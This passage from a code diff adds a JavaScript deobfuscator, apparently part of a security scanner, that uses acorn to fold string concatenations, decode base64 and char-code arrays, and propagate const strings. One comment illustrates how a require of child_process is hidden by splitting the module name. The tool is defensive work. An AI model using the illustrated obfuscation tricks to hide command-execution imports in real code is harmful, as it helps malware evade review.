} catch { /* skip */ }
|
|
117
|
+
return;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
// ---- 4. HEX ARRAY MAP ----
|
|
121
|
+
// [0x63, 0x68, ...].map(c => String.fromCharCode(c)).join('')
|
|
122
|
+
const hexResult = tryResolveHexArrayMap(node, sourceCode);
|
|
123
|
+
if (hexResult !== null) {
|
|
124
|
+
replacements.push(hexResult);
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
});
|
|
128
|
+
|
|
129
|
+
// De-duplicate: nested BinaryExpression nodes produce overlapping replacements.
|
|
130
|
+
// Keep only the outermost (widest) replacement for each overlapping range.
|
|
131
|
+
replacements.sort((a, b) => a.start - b.start || b.end - a.end);
|
|
132
|
+
const filtered = [];
|
|
133
|
+
let lastEnd = -1;
|
|
134
|
+
for (const r of replacements) {
|
|
135
|
+
if (r.start < lastEnd) continue; // nested inside a wider replacement — skip
|
|
136
|
+
filtered.push(r);
|
|
137
|
+
lastEnd = r.end;
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
// Apply replacements from end to start to preserve positions
|
|
141
|
+
filtered.sort((a, b) => b.start - a.start);
|
|
142
|
+
|
|
143
|
+
let code = sourceCode;
|
|
144
|
+
for (const r of filtered) {
|
|
145
|
+
code = code.slice(0, r.start) + r.value + code.slice(r.end);
|
|
146
|
+
transforms.push({
|
|
147
|
+
type: r.type,
|
|
148
|
+
start: r.start,
|
|
149
|
+
end: r.end,
|
|
150
|
+
before: r.before,
|
|
151
|
+
after: r.value
|
|
152
|
+
});
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
// Reverse transforms so they're in source order (start ascending)
|
|
156
|
+
transforms.reverse();
|
|
157
|
+
|
|
158
|
+
// ---- PHASE 2: CONST PROPAGATION ----
|
|
159
|
+
// If phase 1 produced transforms, re-parse and propagate const string assignments.
|
|
160
|
+
// const a = 'child_'; const b = 'process'; require(a + b) → require('child_' + 'process') → require('child_process')
|
|
161
|
+
if (transforms.length > 0) {
|
|
162
|
+
const phase2 = propagateConsts(code);
|
|
163
|
+
if (phase2.transforms.length > 0) {
|
|
164
|
+
code = phase2.code;
|
|
165
|
+
transforms.push(...phase2.transforms);
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
return { code, transforms };
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
/**
|
|
173
|
+
* Phase 2: Propagate const string literal assignments into identifier references,
|
|
174
|
+
* then fold any resulting string concatenations.
|
|
175
|
+
*/
|
|
176
|
+
function propagateConsts(sourceCode) {
|
|
177
|
+
const transforms = [];
|
|
178
|
+
let ast;
|
|
179
|
+
try {
|
|
180
|
+
ast = acorn.parse(sourceCode, {
|
|
181
|
+
ecmaVersion: 2024,
|
|
182
|
+
sourceType: 'module',
|
|
183
|
+
allowHashBang: true,
|
|
184
|
+
ranges: true
|
|
185
|
+
});
|
|
186
|
+
} catch {
|
|
187
|
+
return { code: sourceCode, transforms };
|
|
188
|
+
}
|
|
189
|
+
|
|
190
|
+
// Collect const declarations: name → { value, initStart, initEnd }
|
|
191
|
+
const constMap = new Map();
|
|
192
|
+
// Track which names are assigned more than once (not safe to propagate)
|
|
193
|
+
const reassigned = new Set();
|
|
194
|
+
|
|
195
|
+
walk.simple(ast, {
|
|
196
|
+
VariableDeclaration(node) {
|
|
197
|
+
if (node.kind !== 'const') return;
|
|
198
|
+
for (const decl of node.declarations) {
|
|
199
|
+
if (decl.id?.type !== 'Identifier') continue;
|
|
200
|
+
if (!decl.init) continue;
|
|
201
|
+
if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
|
|
202
|
+
constMap.set(decl.id.name, {
|
|
203
|
+
value: decl.init.value,
|
|
204
|
+
declStart: decl.init.start,
|
|
205
|
+
declEnd: decl.init.end
|
|
206
|
+
});
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
},
|
|
210
|
+
AssignmentExpression(node) {
|
|
211
|
+
if (node.left?.type === 'Identifier') {
|
|
212
|
+
reassigned.add(node.left.name);
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
});
|
|
216
|
+
|
|
217
|
+
// Remove reassigned names from constMap (not safe)
|
|
218
|
+
for (const name of reassigned) {
|
|
219
|
+
constMap.delete(name);
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
if (constMap.size === 0) {
|
|
223
|
+
return { code: sourceCode, transforms };
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
// Find all Identifier references to propagate (excluding declarations and property names)
|
|
227
|
+
const replacements = [];
|
|
228
|
+
walk.simple(ast, {
|
|
229
|
+
Identifier(node) {
|
|
230
|
+
if (!constMap.has(node.name)) return;
|
|
231
|
+
const info = constMap.get(node.name);
|
|
232
|
+
// Skip the declaration site itself
|
|
233
|
+
if (node.start === info.declStart || (node.start >= info.declStart && node.end <= info.declEnd)) return;
|
|
234
|
+
replacements.push({
|
|
235
|
+
start: node.start,
|
|
236
|
+
end: node.end,
|
|
237
|
+
value: quoteString(info.value),
|
|
238
|
+
type: 'const_propagation',
|
|
239
|
+
before: sourceCode.slice(node.start, node.end)
|
|
240
|
+
});
|
|
241
|
+
}
|
|
242
|
+
});
|
|
243
|
+
|
|
244
|
+
// Filter: skip property access identifiers (obj.prop — prop is not a variable ref)
|
|
245
|
+
// We detect this by checking if the identifier is a property of a MemberExpression
|
|
246
|
+
const propPositions = new Set();
|
|
247
|
+
walk.simple(ast, {
|
|
248
|
+
MemberExpression(node) {
|
|
249
|
+
if (!node.computed && node.property?.type === 'Identifier') {
|
|
250
|
+
propPositions.add(node.property.start);
|
|
251
|
+
}
|
|
252
|
+
},
|
|
253
|
+
VariableDeclarator(node) {
|
|
254
|
+
// Skip the declaration name itself
|
|
255
|
+
if (node.id?.type === 'Identifier') {
|
|
256
|
+
propPositions.add(node.id.start);
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
});
|
|
260
|
+
|
|
261
|
+
const validReplacements = replacements.filter(r => !propPositions.has(r.start));
|
|
262
|
+
|
|
263
|
+
if (validReplacements.length === 0) {
|
|
264
|
+
return { code: sourceCode, transforms };
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
// Apply replacements from end to start
|
|
268
|
+
validReplacements.sort((a, b) => b.start - a.start);
|
|
269
|
+
let code = sourceCode;
|
|
270
|
+
for (const r of validReplacements) {
|
|
271
|
+
code = code.slice(0, r.start) + r.value + code.slice(r.end);
|
|
272
|
+
transforms.push({
|
|
273
|
+
type: r.type,
|
|
274
|
+
start: r.start,
|
|
275
|
+
end: r.end,
|
|
276
|
+
before: r.before,
|
|
277
|
+
after: r.value
|
|
278
|
+
});
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
// Now re-run concat folding on the propagated code
|
|
282
|
+
const phase3 = foldConcatsOnly(code);
|
|
283
|
+
if (phase3.transforms.length > 0) {
|
|
284
|
+
code = phase3.code;
|
|
285
|
+
transforms.push(...phase3.transforms);
|
|
286
|
+
}
|
|
287
|
+
|
|
288
|
+
transforms.reverse();
|
|
289
|
+
return { code, transforms };
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
/**
|
|
293
|
+
* Run only string concat folding on code (phase 3 after const propagation).
|
|
294
|
+
*/
|
|
295
|
+
function foldConcatsOnly(sourceCode) {
|
|
296
|
+
const transforms = [];
|
|
297
|
+
let ast;
|
|
298
|
+
try {
|
|
299
|
+
ast = acorn.parse(sourceCode, {
|
|
300
|
+
ecmaVersion: 2024,
|
|
301
|
+
sourceType: 'module',
|
|
302
|
+
allowHashBang: true,
|
|
303
|
+
ranges: true
|
|
304
|
+
});
|
|
305
|
+
} catch {
|
|
306
|
+
return { code: sourceCode, transforms };
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
const replacements = [];
|
|
310
|
+
walk.simple(ast, {
|
|
311
|
+
BinaryExpression(node) {
|
|
312
|
+
if (node.operator !== '+') return;
|
|
313
|
+
const folded = tryFoldConcat(node);
|
|
314
|
+
if (folded === null) return;
|
|
315
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
316
|
+
const after = quoteString(folded);
|
|
317
|
+
replacements.push({ start: node.start, end: node.end, value: after, type: 'string_concat', before });
|
|
318
|
+
}
|
|
319
|
+
});
|
|
320
|
+
|
|
321
|
+
// De-duplicate overlapping
|
|
322
|
+
replacements.sort((a, b) => a.start - b.start || b.end - a.end);
|
|
323
|
+
const filtered = [];
|
|
324
|
+
let lastEnd = -1;
|
|
325
|
+
for (const r of replacements) {
|
|
326
|
+
if (r.start < lastEnd) continue;
|
|
327
|
+
filtered.push(r);
|
|
328
|
+
lastEnd = r.end;
|
|
329
|
+
}
|
|
330
|
+
|
|
331
|
+
filtered.sort((a, b) => b.start - a.start);
|
|
332
|
+
let code = sourceCode;
|
|
333
|
+
for (const r of filtered) {
|
|
334
|
+
code = code.slice(0, r.start) + r.value + code.slice(r.end);
|
|
335
|
+
transforms.push({ type: r.type, start: r.start, end: r.end, before: r.before, after: r.value });
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
return { code, transforms };
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
// ============================================================
|
|
342
|
+
// HELPERS
|
|
343
|
+
// ============================================================
|
|
344
|
+
|
|
345
|
+
/**
|
|
346
|
+
* Recursively fold string concat BinaryExpression.
|
|
347
|
+
* Returns the concatenated string, or null if any part is not a string literal.
|
|
348
|
+
*/
|
|
349
|
+
function tryFoldConcat(node) {
|
|
350
|
+
if (node.type === 'Literal' && typeof node.value === 'string') {
|
|
351
|
+
return node.value;
|
|
352
|
+
}
|
|
353
|
+
if (node.type === 'BinaryExpression' && node.operator === '+') {
|
|
354
|
+
const left = tryFoldConcat(node.left);
|
|
355
|
+
if (left === null) return null;
|
|
356
|
+
const right = tryFoldConcat(node.right);
|
|
357
|
+
if (right === null) return null;
|
|
358
|
+
return left + right;
|
|
359
|
+
}
|
|
360
|
+
return null;
|
|
361
|
+
}
|
|
362
|
+
|
|
363
|
+
/**
|
|
364
|
+
* Check if node is String.fromCharCode(...)
|
|
365
|
+
*/
|
|
366
|
+
function isStringFromCharCode(node) {
|
|
367
|
+
if (node.type !== 'CallExpression') return false;
|
|
368
|
+
const c = node.callee;
|
|
369
|
+
if (c.type !== 'MemberExpression') return false;
|
|
370
|
+
// String.fromCharCode
|
|
371
|
+
if (c.object?.type === 'Identifier' && c.object.name === 'String' &&
|
|
372
|
+
c.property?.type === 'Identifier' && c.property.name === 'fromCharCode') {
|
|
373
|
+
return true;
|
|
374
|
+
}
|
|
375
|
+
return false;
|
|
376
|
+
}
|
|
377
|
+
|
|
378
|
+
/**
|
|
379
|
+
* Extract numeric arguments from a call (handles direct numbers and spread of array).
|
|
380
|
+
* Returns array of numbers, or null if any argument is non-numeric.
|
|
381
|
+
*/
|
|
382
|
+
function extractNumericArgs(node) {
|
|
383
|
+
const nums = [];
|
|
384
|
+
for (const arg of node.arguments) {
|
|
385
|
+
if (arg.type === 'SpreadElement' && arg.argument?.type === 'ArrayExpression') {
|
|
386
|
+
for (const el of arg.argument.elements) {
|
|
387
|
+
if (el?.type === 'Literal' && typeof el.value === 'number') {
|
|
388
|
+
nums.push(el.value);
|
|
389
|
+
} else {
|
|
390
|
+
return null; // non-numeric — abort
|
|
391
|
+
}
|
|
392
|
+
}
|
|
393
|
+
} else if (arg.type === 'Literal' && typeof arg.value === 'number') {
|
|
394
|
+
nums.push(arg.value);
|
|
395
|
+
} else {
|
|
396
|
+
return null; // non-numeric argument (variable, expression) — abort
|
|
397
|
+
}
|
|
398
|
+
}
|
|
399
|
+
return nums.length > 0 ? nums : null;
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
/**
|
|
403
|
+
* Check if node is Buffer.from('...', 'base64').toString()
|
|
404
|
+
*/
|
|
405
|
+
function isBufferBase64ToString(node) {
|
|
406
|
+
if (node.type !== 'CallExpression') return false;
|
|
407
|
+
const callee = node.callee;
|
|
408
|
+
// .toString() call
|
|
409
|
+
if (callee.type !== 'MemberExpression') return false;
|
|
410
|
+
if (callee.property?.type !== 'Identifier' || callee.property.name !== 'toString') return false;
|
|
411
|
+
// The object is Buffer.from(str, 'base64')
|
|
412
|
+
const inner = callee.object;
|
|
413
|
+
if (inner?.type !== 'CallExpression') return false;
|
|
414
|
+
const innerCallee = inner.callee;
|
|
415
|
+
if (innerCallee?.type !== 'MemberExpression') return false;
|
|
416
|
+
if (innerCallee.object?.type !== 'Identifier' || innerCallee.object.name !== 'Buffer') return false;
|
|
417
|
+
if (innerCallee.property?.type !== 'Identifier' || innerCallee.property.name !== 'from') return false;
|
|
418
|
+
// Args: (string, 'base64')
|
|
419
|
+
if (inner.arguments.length < 2) return false;
|
|
420
|
+
if (inner.arguments[1]?.type !== 'Literal' || inner.arguments[1].value !== 'base64') return false;
|
|
421
|
+
if (inner.arguments[0]?.type !== 'Literal' || typeof inner.arguments[0].value !== 'string') return false;
|
|
422
|
+
return true;
|
|
423
|
+
}
|
|
424
|
+
|
|
425
|
+
/**
|
|
426
|
+
* Extract the base64 string argument from Buffer.from(str, 'base64').toString()
|
|
427
|
+
*/
|
|
428
|
+
function extractBufferBase64Arg(node) {
|
|
429
|
+
const inner = node.callee.object;
|
|
430
|
+
return inner.arguments[0].value;
|
|
431
|
+
}
|
|
432
|
+
|
|
433
|
+
/**
|
|
434
|
+
* Check if node is atob('...')
|
|
435
|
+
*/
|
|
436
|
+
function isAtobCall(node) {
|
|
437
|
+
if (node.type !== 'CallExpression') return false;
|
|
438
|
+
if (node.callee?.type !== 'Identifier' || node.callee.name !== 'atob') return false;
|
|
439
|
+
if (node.arguments.length !== 1) return false;
|
|
440
|
+
if (node.arguments[0]?.type !== 'Literal' || typeof node.arguments[0].value !== 'string') return false;
|
|
441
|
+
return true;
|
|
442
|
+
}
|
|
443
|
+
|
|
444
|
+
/**
|
|
445
|
+
* Try to resolve [0x63, ...].map(c => String.fromCharCode(c)).join('')
|
|
446
|
+
* Returns a replacement object or null.
|
|
447
|
+
*/
|
|
448
|
+
function tryResolveHexArrayMap(node, source) {
|
|
449
|
+
// Pattern: <expr>.join('') where <expr> is <array>.map(<fn>)
|
|
450
|
+
// node is the .join('') call
|
|
451
|
+
if (node.type !== 'CallExpression') return null;
|
|
452
|
+
const callee = node.callee;
|
|
453
|
+
if (callee?.type !== 'MemberExpression') return null;
|
|
454
|
+
if (callee.property?.type !== 'Identifier' || callee.property.name !== 'join') return null;
|
|
455
|
+
// Verify .join('') or .join("")
|
|
456
|
+
if (node.arguments.length !== 1) return null;
|
|
457
|
+
if (node.arguments[0]?.type !== 'Literal' || node.arguments[0].value !== '') return null;
|
|
458
|
+
|
|
459
|
+
// The object of .join should be a .map(...) call
|
|
460
|
+
const mapCall = callee.object;
|
|
461
|
+
if (mapCall?.type !== 'CallExpression') return null;
|
|
462
|
+
if (mapCall.callee?.type !== 'MemberExpression') return null;
|
|
463
|
+
if (mapCall.callee.property?.type !== 'Identifier' || mapCall.callee.property.name !== 'map') return null;
|
|
464
|
+
|
|
465
|
+
// The map callback should reference String.fromCharCode
|
|
466
|
+
if (mapCall.arguments.length < 1) return null;
|
|
467
|
+
const mapFn = mapCall.arguments[0];
|
|
468
|
+
if (!containsFromCharCode(mapFn)) return null;
|
|
469
|
+
|
|
470
|
+
// The object of .map should be an ArrayExpression of numbers
|
|
471
|
+
const arr = mapCall.callee.object;
|
|
472
|
+
if (arr?.type !== 'ArrayExpression') return null;
|
|
473
|
+
const nums = [];
|
|
474
|
+
for (const el of arr.elements) {
|
|
475
|
+
if (el?.type === 'Literal' && typeof el.value === 'number') {
|
|
476
|
+
nums.push(el.value);
|
|
477
|
+
} else {
|
|
478
|
+
return null; // non-numeric element — abort
|
|
479
|
+
}
|
|
480
|
+
}
|
|
481
|
+
if (nums.length === 0) return null;
|
|
482
|
+
|
|
483
|
+
try {
|
|
484
|
+
const decoded = String.fromCharCode(...nums);
|
|
485
|
+
const before = source.slice(node.start, node.end);
|
|
486
|
+
return {
|
|
487
|
+
start: node.start,
|
|
488
|
+
end: node.end,
|
|
489
|
+
value: quoteString(decoded),
|
|
490
|
+
type: 'hex_array',
|
|
491
|
+
before
|
|
492
|
+
};
|
|
493
|
+
} catch {
|
|
494
|
+
return null;
|
|
495
|
+
}
|
|
496
|
+
}
|
|
497
|
+
|
|
498
|
+
/**
|
|
499
|
+
* Check if an AST node (a function/arrow function) contains a reference to String.fromCharCode.
|
|
500
|
+
*/
|
|
501
|
+
function containsFromCharCode(node) {
|
|
502
|
+
if (!node || typeof node !== 'object') return false;
|
|
503
|
+
|
|
504
|
+
// Direct check on this node
|
|
505
|
+
if (node.type === 'MemberExpression' &&
|
|
506
|
+
node.object?.type === 'Identifier' && node.object.name === 'String' &&
|
|
507
|
+
node.property?.type === 'Identifier' && node.property.name === 'fromCharCode') {
|
|
508
|
+
return true;
|
|
509
|
+
}
|
|
510
|
+
|
|
511
|
+
// Recurse into child nodes
|
|
512
|
+
for (const key of Object.keys(node)) {
|
|
513
|
+
if (key === 'type' || key === 'start' || key === 'end' || key === 'range') continue;
|
|
514
|
+
const child = node[key];
|
|
515
|
+
if (Array.isArray(child)) {
|
|
516
|
+
for (const c of child) {
|
|
517
|
+
if (c && typeof c === 'object' && containsFromCharCode(c)) return true;
|
|
518
|
+
}
|
|
519
|
+
} else if (child && typeof child === 'object' && child.type) {
|
|
520
|
+
if (containsFromCharCode(child)) return true;
|
|
521
|
+
}
|
|
522
|
+
}
|
|
523
|
+
return false;
|
|
524
|
+
}
|
|
525
|
+
|
|
526
|
+
/**
|
|
527
|
+
* Quote a string value as a JS single-quoted string literal.
|
|
528
|
+
*/
|
|
529
|
+
function quoteString(str) {
|
|
530
|
+
const escaped = str
|
|
531
|
+
.replace(/\\/g, '\\\\')
|
|
532
|
+
.replace(/'/g, "\\'")
|
|
533
|
+
.replace(/\n/g, '\\n')
|
|
534
|
+
.replace(/\r/g, '\\r')
|
|
535
|
+
.replace(/\t/g, '\\t');
|
|
536
|
+
return `'${escaped}'`;
|
|
537
|
+
}
|
|
538
|
+
|
|
539
|
+
/**
|
|
540
|
+
* Check if a decoded string is "printable" (no control chars except whitespace).
|
|
541
|
+
* Prevents replacing base64 that decodes to binary garbage.
|
|
542
|
+
*/
|
|
543
|
+
function isPrintable(str) {
|
|
544
|
+
// Allow printable ASCII + common unicode + whitespace
|
|
545
|
+
// Reject if more than 20% of chars are control characters
|
|
546
|
+
let controlCount = 0;
|
|
547
|
+
for (let i = 0; i < str.length; i++) {
|
|
548
|
+
const code = str.charCodeAt(i);
|
|
549
|
+
if (code < 32 && code !== 9 && code !== 10 && code !== 13) {
|
|
550
|
+
controlCount++;
|
|
551
|
+
}
|
|
552
|
+
}
|
|
553
|
+
if (str.length === 0) return false;
|
|
554
|
+
return (controlCount / str.length) < 0.2;
|
|
555
|
+
}
|
|
556
|
+
|
|
557
|
+
module.exports = { deobfuscate };
|